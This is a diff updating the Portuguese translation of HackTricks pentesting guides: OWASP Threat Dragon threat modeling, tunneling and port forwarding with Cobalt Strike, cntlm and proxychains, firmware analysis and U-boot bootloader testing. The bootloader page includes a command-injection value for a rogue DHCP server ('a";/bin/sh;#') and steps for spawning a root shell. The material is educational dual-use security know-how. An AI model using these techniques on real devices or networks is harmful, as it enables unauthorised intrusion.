GUI de múltiplas funcionalidades e plataforma cruzada para profis ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -Um projeto de código aberto da OWASP, Threat Dragon é tanto uma aplicação web quanto de desktop que inclui diagramação de sistemas, bem como um mecanismo de regras para gerar automaticamente ameaças/mitigações. +Um projeto de código aberto da OWASP, Threat Dragon é tanto uma aplicação web quanto de desktop que inclui diagramação de sistemas, bem como um motor de regras para auto-gerar ameaças/mitigações. **Uso** @@ -78,7 +78,7 @@ Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo
-Apenas uma pequena explicação sobre as entidades: +Apenas um pouco de explicação sobre as entidades: * Processo (A entidade em si, como Servidor Web ou funcionalidade web) * Ator (Uma Pessoa, como um Visitante do Site, Usuário ou Administrador) @@ -102,7 +102,7 @@ Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Process 6. Pronto -Agora seu modelo finalizado deve parecer algo assim. E é assim que você faz um modelo de ameaça simples com o OWASP Threat Dragon. +Agora seu modelo finalizado deve parecer algo assim. E é assim que você faz um modelo de ameaça simples com OWASP Threat Dragon.
diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index fdc99d4f1..18f18c625 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -159,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port {% hint style="warning" %} -Neste caso, a **porta é aberta no host beacon**, não no Servidor da Equipe, e o tráfego é enviado para o Servidor da Equipe e, a partir daí, para o host:porta indicado. +Neste caso, a **porta é aberta no host beacon**, não no Team Server, e o tráfego é enviado para o Team Server e, a partir daí, para o host:porta indicado. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] @@ -174,7 +174,7 @@ Para notar: ### rPort2Port local {% hint style="warning" %} -Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e a partir daí para o host:porta indicado. +Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado. {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] @@ -379,8 +379,8 @@ Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer p ## Proxificar Aplicativos GUI do Windows Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\ -Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\ -Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar. +Em **Perfil -> Servidores Proxy** adicione o IP e a porta do servidor SOCKS.\ +Em **Perfil -> Regras de Proxificação** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar. ## Bypass de proxy NTLM @@ -393,7 +393,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Ele se autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\ +Ele autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\ Por exemplo, encaminhe a porta 443. ``` Username Alice @@ -402,7 +402,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ +Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222. ## YARP @@ -452,7 +452,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Mudar o DNS do proxychains -Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**. +Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**. ## Túneis em Go @@ -506,7 +506,7 @@ chmod a+x ./ngrok **Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -_É também possível adicionar autenticação e TLS, se necessário._ +_Também é possível adicionar autenticação e TLS, se necessário._ #### Tunneling TCP ```bash diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index 73e335582..3563427bb 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -29,7 +29,7 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## **Introdução** -O firmware é um software essencial que permite que os dispositivos operem corretamente, gerenciando e facilitando a comunicação entre os componentes de hardware e o software com o qual os usuários interagem. Ele é armazenado em memória permanente, garantindo que o dispositivo possa acessar instruções vitais a partir do momento em que é ligado, levando ao lançamento do sistema operacional. Examinar e potencialmente modificar o firmware é um passo crítico na identificação de vulnerabilidades de segurança. +O firmware é um software essencial que permite que os dispositivos operem corretamente, gerenciando e facilitando a comunicação entre os componentes de hardware e o software com o qual os usuários interagem. Ele é armazenado em memória permanente, garantindo que o dispositivo possa acessar instruções vitais desde o momento em que é ligado, levando ao lançamento do sistema operacional. Examinar e potencialmente modificar o firmware é um passo crítico na identificação de vulnerabilidades de segurança. ## **Coleta de Informações** -**Coletar informações** é um passo inicial crítico para entender a composição de um dispositivo e as tecnologias que ele utiliza. Esse processo envolve a coleta de dados sobre: +**Coletar informações** é um passo inicial crítico para entender a composição de um dispositivo e as tecnologias que ele utiliza. Este processo envolve a coleta de dados sobre: * A arquitetura da CPU e o sistema operacional que ele executa * Especificações do bootloader * Layout de hardware e folhas de dados -* Métricas de código e localizações de origem +* Métricas de código e locais de origem * Bibliotecas externas e tipos de licença * Históricos de atualização e certificações regulatórias -* Diagramas arquiteturais e de fluxo +* Diagramas arquitetônicos e de fluxo * Avaliações de segurança e vulnerabilidades identificadas -Para esse fim, ferramentas de **inteligência de código aberto (OSINT)** são inestimáveis, assim como a análise de quaisquer componentes de software de código aberto disponíveis por meio de processos de revisão manuais e automatizados. Ferramentas como [Coverity Scan](https://scan.coverity.com) e [LGTM da Semmle](https://lgtm.com/#explore) oferecem análise estática gratuita que pode ser aproveitada para encontrar possíveis problemas. +Para esse propósito, ferramentas de **inteligência de código aberto (OSINT)** são inestimáveis, assim como a análise de quaisquer componentes de software de código aberto disponíveis por meio de processos de revisão manuais e automatizados. Ferramentas como [Coverity Scan](https://scan.coverity.com) e [LGTM da Semmle](https://lgtm.com/#explore) oferecem análise estática gratuita que pode ser aproveitada para encontrar problemas potenciais. -## **Obtenção do Firmware** +## **Aquisição do Firmware** -Obter o firmware pode ser abordado por vários meios, cada um com seu próprio nível de complexidade: +Obter firmware pode ser abordado por vários meios, cada um com seu próprio nível de complexidade: * **Diretamente** da fonte (desenvolvedores, fabricantes) * **Construindo** a partir de instruções fornecidas * **Baixando** de sites de suporte oficiais -* Utilizando consultas **Google dork** para encontrar arquivos de firmware hospedados -* Acessando armazenamento **em nuvem** diretamente, com ferramentas como [S3Scanner](https://github.com/sa7mon/S3Scanner) -* Interceptando **atualizações** por meio de técnicas de homem-no-meio -* **Extraindo** do dispositivo por meio de conexões como **UART**, **JTAG** ou **PICit** -* **Capturando** solicitações de atualização na comunicação do dispositivo -* Identificando e usando **pontos de atualização codificados** -* **Despejando** do bootloader ou rede -* **Removendo e lendo** o chip de armazenamento, quando tudo mais falha, usando ferramentas de hardware apropriadas +* Utilizando consultas de **Google dork** para encontrar arquivos de firmware hospedados +* Acessando **armazenamento em nuvem** diretamente, com ferramentas como [S3Scanner](https://github.com/sa7mon/S3Scanner) +* Interceptando **atualizações** via técnicas de man-in-the-middle +* **Extraindo** do dispositivo através de conexões como **UART**, **JTAG** ou **PICit** +* **Sniffing** para solicitações de atualização dentro da comunicação do dispositivo +* Identificando e usando **endpoints de atualização hardcoded** +* **Dumping** do bootloader ou da rede +* **Removendo e lendo** o chip de armazenamento, quando tudo mais falhar, usando ferramentas de hardware apropriadas ## Analisando o firmware @@ -61,24 +61,24 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -Se não encontrar muito com essas ferramentas, verifique a **entropia** da imagem com `binwalk -E `, se a entropia for baixa, então é pouco provável que esteja criptografada. Se a entropia for alta, é provável que esteja criptografada (ou compactada de alguma forma). +Se você não encontrar muito com essas ferramentas, verifique a **entropia** da imagem com `binwalk -E `, se a entropia for baixa, então é improvável que esteja criptografada. Se a entropia for alta, é provável que esteja criptografada (ou comprimida de alguma forma). -Além disso, você pode usar essas ferramentas para extrair **arquivos incorporados no firmware**: +Além disso, você pode usar essas ferramentas para extrair **arquivos incorporados dentro do firmware**: {% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -Ou [**binvis.io**](https://binvis.io/#/) ([código](https://code.google.com/archive/p/binvis/)) para inspecionar o arquivo. +Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) para inspecionar o arquivo. ### Obtendo o Sistema de Arquivos -Com as ferramentas mencionadas anteriormente, como `binwalk -ev `, você deveria ter sido capaz de **extrair o sistema de arquivos**.\ -O Binwalk geralmente extrai dentro de uma **pasta com o nome do tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. +Com as ferramentas comentadas anteriormente, como `binwalk -ev `, você deve ter conseguido **extrair o sistema de arquivos**.\ +O Binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. #### Extração Manual do Sistema de Arquivos -Às vezes, o binwalk **não terá o byte mágico do sistema de arquivos em suas assinaturas**. Nestes casos, use o binwalk para **encontrar o deslocamento do sistema de arquivos e esculpir o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo. +Às vezes, o binwalk **não terá o byte mágico do sistema de arquivos em suas assinaturas**. Nesses casos, use o binwalk para **encontrar o deslocamento do sistema de arquivos e extrair o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo. ``` $ binwalk DIR850L_REVB.bin @@ -90,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 ``` -Execute o seguinte comando **dd** esculpindo o sistema de arquivos Squashfs. +Execute o seguinte **comando dd** para extrair o sistema de arquivos Squashfs. ``` $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs @@ -108,7 +108,7 @@ Alternativamente, o seguinte comando também pode ser executado. `$ unsquashfs dir.squashfs` -Os arquivos estarão no diretório "`squashfs-root`" posteriormente. +Os arquivos estarão no diretório "`squashfs-root`" depois. * Arquivos de arquivo CPIO @@ -124,13 +124,13 @@ Os arquivos estarão no diretório "`squashfs-root`" posteriormente. `$ ubidump.py ` -## Analisando Firmware +## Analisando o Firmware -Uma vez que o firmware é obtido, é essencial dissecá-lo para entender sua estrutura e vulnerabilidades potenciais. Esse processo envolve a utilização de várias ferramentas para analisar e extrair dados valiosos da imagem do firmware. +Uma vez que o firmware é obtido, é essencial dissecá-lo para entender sua estrutura e potenciais vulnerabilidades. Este processo envolve a utilização de várias ferramentas para analisar e extrair dados valiosos da imagem do firmware. ### Ferramentas de Análise Inicial -Um conjunto de comandos é fornecido para inspeção inicial do arquivo binário (referido como ``). Esses comandos ajudam na identificação de tipos de arquivos, extração de strings, análise de dados binários e compreensão dos detalhes de partição e sistema de arquivos: +Um conjunto de comandos é fornecido para a inspeção inicial do arquivo binário (referido como ``). Esses comandos ajudam a identificar tipos de arquivo, extrair strings, analisar dados binários e entender os detalhes da partição e do sistema de arquivos: ```bash file strings -n8 @@ -139,47 +139,49 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head #useful for finding signatures in the header fdisk -lu #lists partitions and filesystems, if there are multiple ``` -Para avaliar o status de criptografia da imagem, a **entropia** é verificada com `binwalk -E `. Baixa entropia sugere falta de criptografia, enquanto alta entropia indica possível criptografia ou compressão. +Para avaliar o status de criptografia da imagem, a **entropia** é verificada com `binwalk -E `. Baixa entropia sugere a falta de criptografia, enquanto alta entropia indica possível criptografia ou compressão. -Para extrair **arquivos embutidos**, são recomendadas ferramentas e recursos como a documentação de **file-data-carving-recovery-tools** e o **binvis.io** para inspeção de arquivos. +Para extrair **arquivos incorporados**, ferramentas e recursos como a documentação de **file-data-carving-recovery-tools** e **binvis.io** para inspeção de arquivos são recomendados. ### Extraindo o Sistema de Arquivos -Usando `binwalk -ev `, geralmente é possível extrair o sistema de arquivos, frequentemente para um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando o **binwalk** falha em reconhecer o tipo de sistema de arquivos devido à ausência de bytes mágicos, a extração manual é necessária. Isso envolve usar o `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos: +Usando `binwalk -ev `, geralmente é possível extrair o sistema de arquivos, muitas vezes em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos: ```bash $ binwalk DIR850L_REVB.bin $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ``` -### Análise do Sistema de Arquivos +Depois, dependendo do tipo de sistema de arquivos (por exemplo, squashfs, cpio, jffs2, ubifs), diferentes comandos são usados para extrair manualmente o conteúdo. -Com o sistema de arquivos extraído, a busca por falhas de segurança começa. A atenção é dada aos daemons de rede inseguros, credenciais codificadas, endpoints de API, funcionalidades do servidor de atualização, código não compilado, scripts de inicialização e binários compilados para análise offline. +### Análise de Sistema de Arquivos + +Com o sistema de arquivos extraído, a busca por falhas de segurança começa. A atenção é voltada para daemons de rede inseguros, credenciais hardcoded, endpoints de API, funcionalidades de servidor de atualização, código não compilado, scripts de inicialização e binários compilados para análise offline. **Locais** e **itens** chave a serem inspecionados incluem: -- **etc/shadow** e **etc/passwd** para credenciais de usuário -- Certificados SSL e chaves em **etc/ssl** -- Arquivos de configuração e scripts em busca de vulnerabilidades potenciais -- Binários embutidos para análise adicional -- Servidores web comuns de dispositivos IoT e binários +* **etc/shadow** e **etc/passwd** para credenciais de usuário +* Certificados e chaves SSL em **etc/ssl** +* Arquivos de configuração e scripts em busca de vulnerabilidades potenciais +* Binários incorporados para análise adicional +* Servidores web e binários comuns de dispositivos IoT -Várias ferramentas auxiliam na descoberta de informações sensíveis e vulnerabilidades dentro do sistema de arquivos: +Várias ferramentas ajudam a descobrir informações sensíveis e vulnerabilidades dentro do sistema de arquivos: -- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) para busca de informações sensíveis -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para análise abrangente de firmware -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) para análise estática e dinâmica +* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) para busca de informações sensíveis +* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para análise abrangente de firmware +* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) para análise estática e dinâmica ### Verificações de Segurança em Binários Compilados -Tanto o código-fonte quanto os binários compilados encontrados no sistema de arquivos devem ser examinados em busca de vulnerabilidades. Ferramentas como **checksec.sh** para binários Unix e **PESecurity** para binários do Windows ajudam a identificar binários desprotegidos que poderiam ser explorados. +Tanto o código-fonte quanto os binários compilados encontrados no sistema de arquivos devem ser examinados em busca de vulnerabilidades. Ferramentas como **checksec.sh** para binários Unix e **PESecurity** para binários Windows ajudam a identificar binários desprotegidos que podem ser explorados. -## Emulação de Firmware para Análise Dinâmica +## Emulando Firmware para Análise Dinâmica -O processo de emulação de firmware permite a **análise dinâmica** da operação de um dispositivo ou de um programa individual. Essa abordagem pode enfrentar desafios com dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness correspondentes, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais. +O processo de emular firmware permite **análise dinâmica** tanto da operação de um dispositivo quanto de um programa individual. Essa abordagem pode enfrentar desafios com dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness correspondentes, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais. -### Emulação de Binários Individuais +### Emulando Binários Individuais -Para examinar programas individuais, é crucial identificar a endianness e a arquitetura da CPU do programa. +Para examinar programas únicos, identificar o endianness e a arquitetura da CPU do programa é crucial. #### Exemplo com Arquitetura MIPS @@ -191,38 +193,40 @@ E para instalar as ferramentas de emulação necessárias: ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -### Emulação de Arquitetura ARM +Para MIPS (big-endian), `qemu-mips` é usado, e para binários little-endian, `qemu-mipsel` seria a escolha. -Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo utilizado para a emulação. +#### Emulação da Arquitetura ARM + +Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo utilizado para emulação. ### Emulação de Sistema Completo -Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica. +Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica. ## Análise Dinâmica na Prática -Nesta etapa, é utilizado um ambiente de dispositivo real ou emulado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não reproduzir perfeitamente as interações de hardware, exigindo reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades no bootloader. Testes de integridade do firmware são críticos para identificar possíveis vulnerabilidades de backdoor. +Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor. ## Técnicas de Análise em Tempo de Execução -A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, utilizando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas. +A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas. -## Exploração de Binários e Prova de Conceito +## Exploração Binária e Prova de Conceito -Desenvolver uma PoC para vulnerabilidades identificadas requer um entendimento profundo da arquitetura alvo e programação em linguagens de baixo nível. Proteções de tempo de execução de binários em sistemas embarcados são raras, mas quando presentes, técnicas como Programação Orientada a Retorno (ROP) podem ser necessárias. +Desenvolver um PoC para vulnerabilidades identificadas requer um profundo entendimento da arquitetura alvo e programação em linguagens de baixo nível. Proteções de tempo de execução em sistemas embarcados são raras, mas quando presentes, técnicas como Return Oriented Programming (ROP) podem ser necessárias. ## Sistemas Operacionais Preparados para Análise de Firmware -Sistemas operacionais como [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) fornecem ambientes pré-configurados para testes de segurança de firmware, equipados com ferramentas necessárias. +Sistemas operacionais como [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) fornecem ambientes pré-configurados para testes de segurança de firmware, equipados com as ferramentas necessárias. -## Sistemas Operacionais Preparados para Analisar Firmware +## OSs Preparados para Analisar Firmware -* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS é uma distribuição destinada a ajudar na avaliação de segurança e testes de penetração de dispositivos da Internet das Coisas (IoT). Economiza tempo fornecendo um ambiente pré-configurado com todas as ferramentas necessárias carregadas. -* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operacional de teste de segurança embarcado baseado no Ubuntu 18.04 pré-carregado com ferramentas de teste de segurança de firmware. +* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS é uma distribuição destinada a ajudar você a realizar avaliação de segurança e testes de penetração de dispositivos da Internet das Coisas (IoT). Ele economiza muito tempo ao fornecer um ambiente pré-configurado com todas as ferramentas necessárias carregadas. +* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operacional de teste de segurança embarcada baseado no Ubuntu 18.04 pré-carregado com ferramentas de teste de segurança de firmware. ## Firmware Vulnerável para Prática -Para praticar a descoberta de vulnerabilidades em firmware, utilize os seguintes projetos de firmware vulneráveis como ponto de partida. +Para praticar a descoberta de vulnerabilidades em firmware, use os seguintes projetos de firmware vulneráveis como ponto de partida. * OWASP IoTGoat * [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) @@ -245,3 +249,18 @@ Para praticar a descoberta de vulnerabilidades em firmware, utilize os seguintes ## Treinamento e Certificação * [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/hardware-physical-access/firmware-analysis/bootloader-testing.md b/hardware-physical-access/firmware-analysis/bootloader-testing.md index de04f6df4..abfcac8ae 100644 --- a/hardware-physical-access/firmware-analysis/bootloader-testing.md +++ b/hardware-physical-access/firmware-analysis/bootloader-testing.md @@ -1,25 +1,25 @@ {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} {% endhint %} -Os seguintes passos são recomendados para modificar as configurações de inicialização do dispositivo e bootloaders como o U-boot: +Os seguintes passos são recomendados para modificar configurações de inicialização de dispositivos e bootloaders como U-boot: 1. **Acessar o Shell do Interpretador do Bootloader**: - Durante a inicialização, pressione "0", espaço ou outros "códigos mágicos" identificados para acessar o shell do interpretador do bootloader. -2. **Modificar os Argumentos de Inicialização**: +2. **Modificar Argumentos de Inicialização**: - Execute os seguintes comandos para adicionar '`init=/bin/sh`' aos argumentos de inicialização, permitindo a execução de um comando shell: %%% #printenv @@ -28,7 +28,7 @@ Os seguintes passos são recomendados para modificar as configurações de inici #boot %%% -3. **Configurar o Servidor TFTP**: +3. **Configurar Servidor TFTP**: - Configure um servidor TFTP para carregar imagens através de uma rede local: %%% #setenv ipaddr 192.168.2.2 #IP local do dispositivo @@ -51,22 +51,22 @@ Os seguintes passos são recomendados para modificar as configurações de inici 7. **Configurar Servidor DHCP Malicioso**: - Configure um servidor DHCP malicioso com parâmetros prejudiciais para que um dispositivo os receba durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando como `'a";/bin/sh;#'` para testar a validação de entrada para procedimentos de inicialização do dispositivo. -**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danos ao dispositivo. +**Nota**: Os passos que envolvem interação física com pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danos ao dispositivo. ## Referências * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red 